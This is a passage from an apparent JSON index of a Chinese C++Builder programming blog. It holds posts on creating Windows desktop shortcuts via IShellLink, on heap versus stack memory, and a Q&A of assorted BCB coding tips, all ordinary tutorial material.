享，资源共享，快乐齐分享，如果仅已我一篇小小的文章，能够为许多不怎么会制作系统的朋友提供一个参考的话，我想也不辜负我花费数小时来写出这篇文章的初 衷了。\n以上是我做网吧系统的一些小小的心得，写了几个小时，或许有细节的地方遗漏，如果觉得有什么不当的地方，敬请各位朋友帮忙指正，阿 拉在此虚心受教。希请朋友们多多批评与指正，更希望可以与更多的朋友共同研究与探讨怎么做好一个网吧系统。还是那句老话：做系统并不难，难的是做一个好系 统，难得是怎么去用心的做一个好的系统\u0026#8230;..\n其实我个人觉得:网吧的系统,应该是开放性的，不应该做太多的限制，让顾客在网 吧上网感觉就像在自己家里上网一样舒适，快捷;网吧的系统，其实应该站在顾客的角度去思考，去制作，去规划，怎么样才能让这个系统为顾客提供最快最便捷的 网络服务，这也许才是我们用心的去做好每一个网吧系统的初衷把\u0026#8220;\u0026#8220;\u0026#8220;\n","permalink":"https://hessian.cn/p/468.html","summary":"一直就想写这么一个关于网吧系统制作的完整的思路了，网上关于系统制作的帖子比比皆是，但都不是很详尽。虽然自己之前也写过类似的文章，但是都觉得不是很 满意，没有能够完整的表达出来自己的意愿。有一些制作思路来源于网上，我稍微做了些修改。这也许算是对自己系统制作方法的一个小结把，写出来给大家提供一 个参考，如果觉得有什么不足，欢迎朋友们与我一起共同探讨。\n","title":"网吧操作系统制作与优化2007最终版"},{"content":"API提供了一个叫做IShellLink的COM接口允许我们创建快捷方式。为在桌面创建快捷方式，我们创建一个IShellLink对象，设置它的属性，然后把这个link保存到desktop目录。 下面的例子代码演示了怎样创建一个快捷方式。在这个例子里，这个快捷方式保存在C:Drive目录下。 //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- include \u0026lt;shlobj.h\u0026gt; void __fastcall TForm1::Button1Click(TObject *Sender) { if(OpenDialog1-\u0026gt;Execute()) CreateShortCut(OpenDialog1-\u0026gt;FileName); } //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- void TForm1::CreateShortCut(const AnsiString \u0026amp;file) { IShellLink* pLink; IPersistFile* pPersistFile; if(SUCCEEDED(CoInitialize(NULL))) { if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void **) \u0026amp;pLink))) { pLink-\u0026gt;SetPath(file.c_str()); pLink-\u0026gt;SetDescription(\u0026ldquo;Woo hoo, look at Homer\u0026ldquo;s shortcut\u0026ldquo;); pLink-\u0026gt;SetShowCmd(SW_SHOW); if(SUCCEEDED(pLink-\u0026gt;QueryInterface(IID_IPersistFile, (void **)\u0026amp;pPersistFile))) { WideString strShortCutLocation(\u0026ldquo;C:\\bcbshortcut.lnk\u0026ldquo;); pPersistFile-\u0026gt;Save(strShortCutLocation.c_bstr(), TRUE); pPersistFile-\u0026gt;Release(); } pLink-\u0026gt;Release(); } CoUninitialize(); } } //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- 上面的例子只是把快捷方式文件保存到了c:drive目录下，但没保存到desktop目录下。 要让快捷方式出现在桌面上，只须把快捷方式文件保存到desktop目录下。首先我们要找到windows的desktop目录，请参阅判断 windows的Desktop及相关目录这一节。一旦我们知道了desktop所在的目录，我们就能将快捷方式文件保存到desktop目录下。然后 windows就能将快捷方式图标显示到桌面上。下面是经过改进了的例子： //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- void TForm1::CreateShortCut(const AnsiString \u0026amp;file) { IShellLink* pLink; IPersistFile* pPersistFile; LPMALLOC ShellMalloc; LPITEMIDLIST DesktopPidl; char DesktopDir[MAX_PATH]; if(FAILED(SHGetMalloc(\u0026amp;ShellMalloc))) return; if(FAILED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOPDIRECTORY, \u0026amp;DesktopPidl))) return; if(!SHGetPathFromIDList(DesktopPidl, DesktopDir)) { ShellMalloc-\u0026gt;Free(DesktopPidl); ShellMalloc-\u0026gt;Release(); return; } ShellMalloc-\u0026gt;Free(DesktopPidl); ShellMalloc-\u0026gt;Release(); if(SUCCEEDED(CoInitialize(NULL))) { if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void **) \u0026amp;pLink))) { pLink-\u0026gt;SetPath(file.c_str()); pLink-\u0026gt;SetDescription(\u0026ldquo;Woo hoo, look at Homer\u0026ldquo;s shortcut\u0026ldquo;); pLink-\u0026gt;SetShowCmd(SW_SHOW); if(SUCCEEDED(pLink-\u0026gt;QueryInterface(IID_IPersistFile, (void **)\u0026amp;pPersistFile))) { WideString strShortCutLocation(DesktopDir); strShortCutLocation += \u0026ldquo;\\bcbshortcut.lnk\u0026ldquo;; pPersistFile-\u0026gt;Save(strShortCutLocation.c_bstr(), TRUE); pPersistFile-\u0026gt;Release(); } pLink-\u0026gt;Release(); } CoUninitialize(); } } //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- 不要陷于COM的泥沼之中 创建快捷方式包括一些对COM的使用。不要让你陷入到COM的复杂之中。COM只是创建和使用对象的一种方法。在这个例子里我们可以考虑不使用COM而是用等价的C++技术。 COM code C++ psuedo-equivalent IShellLink* pLink; TShellLink *Link; IPersistFile* pPersistFile; TPersistFile *PersistFile; CoInitialize(); CoCreateInstance(CLSID_ShellLink, Link = new TShellLink; NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void **) \u0026amp;pLink) pLink-\u0026gt;SetPath(file.c_str()); Link-\u0026gt;SetPath(file.c_str()); pLink-\u0026gt;SetShowCmd(SW_SHOW); Link-\u0026gt;SetShowCmd(SW_SHOW); pLink-\u0026gt;QueryInterface(IID_IPersistFile PersistFile = (void **)\u0026amp;pPersistFile))) dynamic_cast\u0026lt;TPersistFile*\u0026gt;(Link); pPersistFile-\u0026gt;Save(\u0026ldquo;C:\\\u0026ldquo;, TRUE); PersistFile-\u0026gt;Save(\u0026ldquo;C:\\\u0026ldquo;); pPersistFile-\u0026gt;Release(); delete PersistFile pLink-\u0026gt;Release(); delete Link; CoUninitialize();\n","permalink":"https://hessian.cn/p/384.html","summary":"API提供了一个叫做IShellLink的COM接口允许我们创建快捷方式。为在桌面创建快捷方式，我们创建一个IShellLink对象，设置它的属性，然后把这个link保存到desktop目录。 下面的例子代码演示了怎样创建一个快捷方式。在这个例子里，这个快捷方式保存在C:Drive目录下。 //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- include \u0026lt;shlobj.h\u0026gt; void __fastcall TForm1::Button1Click(TObject *Sender) { if(OpenDialog1-\u0026gt;Execute()) CreateShortCut(OpenDialog1-\u0026gt;FileName); } //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- void TForm1::CreateShortCut(const AnsiString \u0026amp;file) { IShellLink* pLink; IPersistFile* pPersistFile; if(SUCCEEDED(CoInitialize(NULL))) { if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void **) \u0026amp;pLink))) { pLink-\u0026gt;SetPath(file.c_str()); pLink-\u0026gt;SetDescription(\u0026ldquo;Woo hoo, look at Homer\u0026ldquo;s shortcut\u0026ldquo;); pLink-\u0026gt;SetShowCmd(SW_SHOW); if(SUCCEEDED(pLink-\u0026gt;QueryInterface(IID_IPersistFile, (void **)\u0026amp;pPersistFile))) { WideString strShortCutLocation(\u0026ldquo;C:\\bcbshortcut.lnk\u0026ldquo;); pPersistFile-\u0026gt;Save(strShortCutLocation.c_bstr(), TRUE); pPersistFile-\u0026gt;Release(); } pLink-\u0026gt;Release(); } CoUninitialize(); } } //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- 上面的例子只是把快捷方式文件保存到了c:drive目录下，但没保存到desktop目录下。 要让快捷方式出现在桌面上，只须把快捷方式文件保存到desktop目录下。首先我们要找到windows的desktop目录，请参阅判断 windows的Desktop及相关目录这一节。一旦我们知道了desktop所在的目录，我们就能将快捷方式文件保存到desktop目录下。然后 windows就能将快捷方式图标显示到桌面上。下面是经过改进了的例子： //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- void TForm1::CreateShortCut(const AnsiString \u0026amp;file) { IShellLink* pLink; IPersistFile* pPersistFile; LPMALLOC ShellMalloc; LPITEMIDLIST DesktopPidl; char DesktopDir[MAX_PATH]; if(FAILED(SHGetMalloc(\u0026amp;ShellMalloc))) return; if(FAILED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOPDIRECTORY, \u0026amp;DesktopPidl))) return; if(!SHGetPathFromIDList(DesktopPidl, DesktopDir)) { ShellMalloc-\u0026gt;Free(DesktopPidl); ShellMalloc-\u0026gt;Release(); return; } ShellMalloc-\u0026gt;Free(DesktopPidl); ShellMalloc-\u0026gt;Release(); if(SUCCEEDED(CoInitialize(NULL))) { if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void **) \u0026amp;pLink))) { pLink-\u0026gt;SetPath(file.c_str()); pLink-\u0026gt;SetDescription(\u0026ldquo;Woo hoo, look at Homer\u0026ldquo;s shortcut\u0026ldquo;); pLink-\u0026gt;SetShowCmd(SW_SHOW); if(SUCCEEDED(pLink-\u0026gt;QueryInterface(IID_IPersistFile, (void **)\u0026amp;pPersistFile))) { WideString strShortCutLocation(DesktopDir); strShortCutLocation += \u0026ldquo;\\bcbshortcut.lnk\u0026ldquo;; pPersistFile-\u0026gt;Save(strShortCutLocation.c_bstr(), TRUE); pPersistFile-\u0026gt;Release(); } pLink-\u0026gt;Release(); } CoUninitialize(); } } //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;- 不要陷于COM的泥沼之中 创建快捷方式包括一些对COM的使用。不要让你陷入到COM的复杂之中。COM只是创建和使用对象的一种方法。在这个例子里我们可以考虑不使用COM而是用等价的C++技术。 COM code C++ psuedo-equivalent IShellLink* pLink; TShellLink *Link; IPersistFile* pPersistFile; TPersistFile *PersistFile; CoInitialize(); ","title":"用BCB在windows桌面创建快捷方式"},{"content":"作者: 芊珑发布日期: 2006-2-10 查看数: 125 出自: http://www.cnitexam.com 一、预备知识\u0026mdash;程序的内存分配 一个由c/C++编译的程序占用的内存分为以下几个部分 1、栈区（stack）\u0026mdash; 由编译器自动分配释放 ，存放函数的参数值，局部变量的值等。其操作方式类似于数据结构中的栈。 2、堆区（heap） \u0026mdash; 一般由程序员分配释放， 若程序员不释放，程序结束时可能由OS回收 。注意它与数据结构中的堆是两回事，分配方式倒是类似于链表，呵呵。 3、全局区（静态区）（static）\u0026mdash;，全局变量和静态变量的存储是放在一块的，初始化的全局变量和静态变量在一块区域， 未初始化的全局变量和未初始化的静态变量在相邻的另一块区域。 \u0026#8211; 程序结束后有系统释放 4、文字常量区 \u0026mdash;常量字符串就是放在这里的。 程序结束后由系统释放 5、程序代码区\u0026mdash;存放函数体的二进制代码。 二、例子程序 这是一个前辈写的，非常详细 //main.cpp int a = 0; 全局初始化区 char *p1; 全局未初始化区 main() { int b; 栈 char s[] = \u0026quot;abc\u0026quot;; 栈 char *p2; 栈 char *p3 = \u0026quot;123456\u0026quot;; 123456在常量区，p3在栈上。 static int c =0； 全局（静态）初始化区 p1 = (char *)malloc(10); p2 = (char *)malloc(20); 分配得来得10和20字节的区域就在堆区。 strcpy(p1, \u0026quot;123456\u0026quot;); 123456放在常量区，编译器可能会将它与p3所指向的\u0026quot;123456\u0026quot;优化成一个地方。 } 二、堆和栈的理论知识 2.1申请方式 stack: 由系统自动分配。 例如，声明在函数中一个局部变量 int b; 系统自动在栈中为b开辟空间 heap: 需要程序员自己申请，并指明大小，在c中malloc函数 如p1 = (char *)malloc(10); 在C++中用new运算符 如p2 = (char *)malloc(10); 但是注意p1、p2本身是在栈中的。 2.2 申请后系统的响应 栈：只要栈的剩余空间大于所申请空间，系统将为程序提供内存，否则将报异常提示栈溢出。 堆：首先应该知道操作系统有一个记录空闲内存地址的链表，当系统收到程序的申请时， 会遍历该链表，寻找第一个空间大于所申请空间的堆结点，然后将该结点从空闲结点链表中删除，并将该结点的空间分配给程序，另外，对于大多数系统， 会在这块内存空间中的首地址处记录本次分配的大小，这样，代码中的delete语句才能正确的释放本内存空间。另外，由于找到的堆结点的大小不一定正好等 于申请的大小，系统会自动的将多余的那部分重新放入空闲链表中。 2.3申请大小的限制 栈：在Windows下,栈是向低地址扩展的数据结构，是一块连续的内存的区域。这句话的意思是栈顶的地址和栈的最大容量是系统预先规定好的，在 WINDOWS下，栈的大小是2M（也有的说是1M，总之是一个编译时就确定的常数），如果申请的空间超过栈的剩余空间时，将提示overflow。因 此，能从栈获得的空间较小。 堆：堆是向高地址扩展的数据结构，是不连续的内存区域。这是由于系统是用链表来存储的空闲内存地址的，自然是不连续的，而链表的遍历方向是由低地址向高地址。堆的大小受限于计算机系统中有效的虚拟内存。由此可见，堆获得的空间比较灵活，也比较大。 2.4申请效率的比较： 栈由系统自动分配，速度较快。但程序员是无法控制的。 堆是由new分配的内存，一般速度比较慢，而且容易产生内存碎片,不过用起来最方便. 另外，在WINDOWS下，最好的方式是用VirtualAlloc分配内存，他不是在堆，也不是在栈是直接在进程的地址空间中保留一快内存，虽然用起来最不方便。但是速度快，也最灵活 2.5堆和栈中的存储内容 栈： 在函数调用时，第一个进栈的是主函数中后的下一条指令（函数调用语句的下一条可执行语句）的地址，然后是函数的各个参数，在大多数的C编译器中，参数是由右往左入栈的，然后是函数中的局部变量。注意静态变量是不入栈的。 当本次函数调用结束后，局部变量先出栈，然后是参数，最后栈顶指针指向最开始存的地址，也就是主函数中的下一条指令，程序由该点继续运行。 堆：一般是在堆的头部用一个字节存放堆的大小。堆中的具体内容有程序员安排。 2.6存取效率的比较 char s1[] = \u0026quot;aaaaaaaaaaaaaaa\u0026quot;; char *s2 = \u0026quot;bbbbbbbbbbbbbbbbb\u0026quot;; aaaaaaaaaaa是在运行时刻赋值的； 而bbbbbbbbbbb是在编译时就确定的； 但是，在以后的存取中，在栈上的数组比指针所指向的字符串(例如堆)快。 比如： #include void main() { char a = 1; char c[] = \u0026quot;1234567890\u0026quot;; char *p =\u0026quot;1234567890\u0026quot;; a = c[1]; a = p[1]; return; } 对应的汇编代码 10: a = c[1]; 00401067 8A 4D F1 mov cl,byte ptr [ebp-0Fh] 0040106A 88 4D FC mov byte ptr [ebp-4],cl 11: a = p[1]; 0040106D 8B 55 EC mov edx,dword ptr [ebp-14h] 00401070 8A 42 01 mov al,byte ptr [edx+1] 00401073 88 45 FC mov byte ptr [ebp-4],al 第一种在读取时直接就把字符串中的元素读到寄存器cl中，而第二种则要先把指针值读到edx中，在根据edx读取字符，显然慢了。 ? 2.7小结： 堆和栈的区别可以用如下的比喻来看出： 使用栈就象我们去饭馆里吃饭，只管点菜（发出申请）、付钱、和吃（使用），吃饱了就走，不必理会切菜、洗菜等准备工作和洗碗、刷锅等扫尾工作，他的好处是快捷，但是自由度小。 使用堆就象是自己动手做喜欢吃的菜肴，比较麻烦，但是比较符合自己的口味，而且自由度大。 堆和栈的区别主要分： 操作系统方面的堆和栈，如上面说的那些，不多说了。 还有就是数据结构方面的堆和栈，这些都是不同的概念。这里的堆实际上指的就是（满足堆性质的）优先队列的一种数据结构，第1个元素有最高的优先权；栈实际上就是满足先进后出的性质的数学或数据结构。 虽然堆栈，堆栈的说法是连起来叫，但是他们还是有很大区别的，连着叫只是由于历史的原因。\n","permalink":"https://hessian.cn/p/343.html","summary":"作者: 芊珑发布日期: 2006-2-10 查看数: 125 出自: http://www.cnitexam.com 一、预备知识\u0026mdash;程序的内存分配 一个由c/C++编译的程序占用的内存分为以下几个部分 1、栈区（stack）\u0026mdash; 由编译器自动分配释放 ，存放函数的参数值，局部变量的值等。其操作方式类似于数据结构中的栈。 2、堆区（heap） \u0026mdash; 一般由程序员分配释放， 若程序员不释放，程序结束时可能由OS回收 。注意它与数据结构中的堆是两回事，分配方式倒是类似于链表，呵呵。 3、全局区（静态区）（static）\u0026mdash;，全局变量和静态变量的存储是放在一块的，初始化的全局变量和静态变量在一块区域， 未初始化的全局变量和未初始化的静态变量在相邻的另一块区域。 \u0026#8211; 程序结束后有系统释放 4、文字常量区 \u0026mdash;常量字符串就是放在这里的。 程序结束后由系统释放 5、程序代码区\u0026mdash;存放函数体的二进制代码。 ","title":"堆和栈的区别"},{"content":"问：怎么实现TRichEdit的自动滚行？象某些阅读器那样的功能。 答：用ScrollWindowEx或者ScrollWindowEx就可以了。 ScrollWindow(RichEdit1- \u0026gt;Handle, 0, -1, NULL, NULL); //向下滚1个像素 ScrollWindow(RichEdit1- \u0026gt;Handle, 0, 1, NULL, NULL); //向上滚1个像素 问：在下最近在自己编组件，按照BCB的帮助提示做好了图标，也按照它的提示建立了联系， 但就是看不到自己的图标，只有默认的！！！ 答：用IMAGE EDITOR编辑DCR文件，记信图标名称必须和组件名称相同，我说的是图标名称，不是文件名称。生成DCU文件后，用BRCC32.EXE对该DCR文 件进行编译生成DCU文件，将DCU文件加入到BPK包中，编译、安装包应可以看到你自制组件的包了。 问：物理删除记录,用ADO压缩Access2000库的方法？ 答：用ADO压缩Access2000库 #include \u0026quot;utilcls.h\u0026quot; void CompactDatabase(String f1,String psw1, String f2,String psw2) { String Provider1=\u0026quot;Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\u0026quot; + f1 + \u0026quot;;Jet OLEDB:Database Password=\u0026quot; + psw1; String Provider2=\u0026quot;Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\u0026quot; + f2 + \u0026quot;;Jet OLEDB:Database Password=\u0026quot; + psw2; Variant Adoobj=Variant::CreateObject(\u0026quot;JRO.JetEngine\u0026quot;); Adoobj.OleProcedure(\u0026quot;CompactDatabase\u0026quot;,Provider1,Provider2); AdoObj.Clear();//释放ADO对象 } void __fastcall TForm1::Button1Click(TObject *Sender) { String f1=\u0026quot;yhecdagl1.mdb\u0026quot;; // 源库1 String psw1=\u0026quot;yhecdagl\u0026quot;; // 密码1 String f2=\u0026quot;yhecdagl2.mdb\u0026quot;; // 新目的库2 String psw2=\u0026quot;yhecdagl2\u0026quot;; // 新密码2 String dir=ExtractFilePath(Application-\u0026gt;ExeName); if(FileExists(f2)) DeleteFile(f2); CompactDatabase(dir+f1,psw1,dir+f2,psw2); ShowMessage(\u0026quot;Finished\u0026quot;); } 问：能否通过按钮使用SQL创建一个名为a.db的文件? 答：这儿一个db文件就是一个数据表，所以可以通过创建表的方式来创建。 通过SQL语句就可以了,通过SQL语句我们可以创建不仅仅是表，还有别的很多，如字段等 Query1-\u0026gt;Close; Query1-\u0026gt;DatabaseName=\u0026quot;c:temp\u0026quot;; Query1-\u0026gt;SQL-\u0026gt;Text=\u0026quot;create table a.db (field1 varchar(10),field2 varchar(10))\u0026quot;; Query1-\u0026gt;ExecSQL; 问：TMediaPlayer如何用MediaPlayer1播放mp3? 设备类型指定了好几种怎么都不行？MediaPlayer1-\u0026gt;DeviceType 为dtCdAudio, dtDAT,dtOther,dtSeqencer,dtWaveAudio,dtAutoSelect都不行!;应怎么做才行？ 答： 1.我来说说。MediaPlayer本身是高用windows提供的dll来工作的,但是由于bcb不是ms的，所以。。。在win98下的话，你可以查找到win.ini,在win.ini里修改东东就行了。 [mci extensions] mp3=MPEGVideo 2.你可以用SndPlaySound函数来播放 char *tStream=new char\u0026#8230;; 可以先用TFileStream把文件读到内存中，Read到tStream中 SndPlaySound(tStream,SND_MEMORY); 问：[TRichedit]:如何带格式存储Richedit内容到Access？ 答：用AnsiString!!!! 具体方法如下，设保存RichEdit的字段为RichField: TStringStream *pms=new TStringStream(NULL); TStringList *StrList=new TStringList(); RichEditContent-\u0026gt;Lines-\u0026gt;SaveToStream(pms); pms-\u0026gt;Position = 0; StrList-\u0026gt;LoadFromStream(pms); RichField-\u0026gt;AsString=StrList-\u0026gt;Text; 问：请问有什么办法使得子form一直留在最前面？ 答：主要是重载Form的虚拟函数CreateParams， 改变TCreateParams的成员WndParent就可以了 class TForm2 : public TForm { __published: // IDE-managed Components private: // User declarations protected: virtual void __fastcall CreateParams(TCreateParams \u0026amp; Param); public: // User declarations __fastcall TForm2(TComponent* Owner); }; void __fastcall TForm2::CreateParams(TCreateParams \u0026amp; Param) { //调用基类的函数 TForm::CreateParams(Param); Param.ExStyle |= WS_EX_TOPMOST; //这儿最关键的是只要Param.WndParent不是Application- \u0026gt;Handle就可以了， //不一定非要用GetDesktopWindow()，用其它的窗口也可以。 Param.WndParent = GetDesktopWindow(); } 问：[TTabSheet]怎么改变TabSheet标题部分的小矩形颜色。 小弟这样做的： //TabSheet1- \u0026gt;PageControl = PageControl1; TabSheet1- \u0026gt;Brush- \u0026gt;Color = clBlue; 上面的小矩形仍然为灰色。 PageControl1- \u0026gt;Brush- \u0026gt;Color = clBlue; 整个pagecontrol都变蓝色了，就是那个小矩形还灰色。 答：OwnDraw=true; void __fastcall TForm1::TabControl1DrawTab(TCustomTabControl *Control, int TabIndex, const TRect \u0026amp;Rect, bool Active) { Control- \u0026gt;Canvas- \u0026gt;Brush- \u0026gt;Color=clRed; Control- \u0026gt;Canvas- \u0026gt;Rectangle(Rect); } \u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211; PageControl也差不多,如果要不同的TabSheet有不同的颜色,可以判断TabIndex void __fastcall TForm1::PageControl1DrawTab(TCustomTabControl *Control, int TabIndex, const TRect \u0026amp;Rect, bool Active) { Control- \u0026gt;Canvas- \u0026gt;Brush- \u0026gt;Color=clGreen; Control- \u0026gt;Canvas- \u0026gt;Pen- \u0026gt;Color=clGreen; Control- \u0026gt;Canvas- \u0026gt;Rectangle(Rect); } 问：我想写一个互斥量，但是怕和系统中的互斥量同名，有不有办法便利系统中的互斥量？ 答：看CreateMutex 的帮助，如果你创建时返回ERROR_ALREADY_EXISTS，表示已经存在了，你就再换一个名字创建啊。\n","permalink":"https://hessian.cn/p/312.html","summary":"问：怎么实现TRichEdit的自动滚行？象某些阅读器那样的功能。 答：用ScrollWindowEx或者ScrollWindowEx就可以了。 ScrollWindow(RichEdit1- \u0026gt;Handle, 0, -1, NULL, NULL); //向下滚1个像素 ScrollWindow(RichEdit1- \u0026gt;Handle, 0, 1, NULL, NULL); //向上滚1个像素 ","title":"联高软件：BCB编程经验几则"}]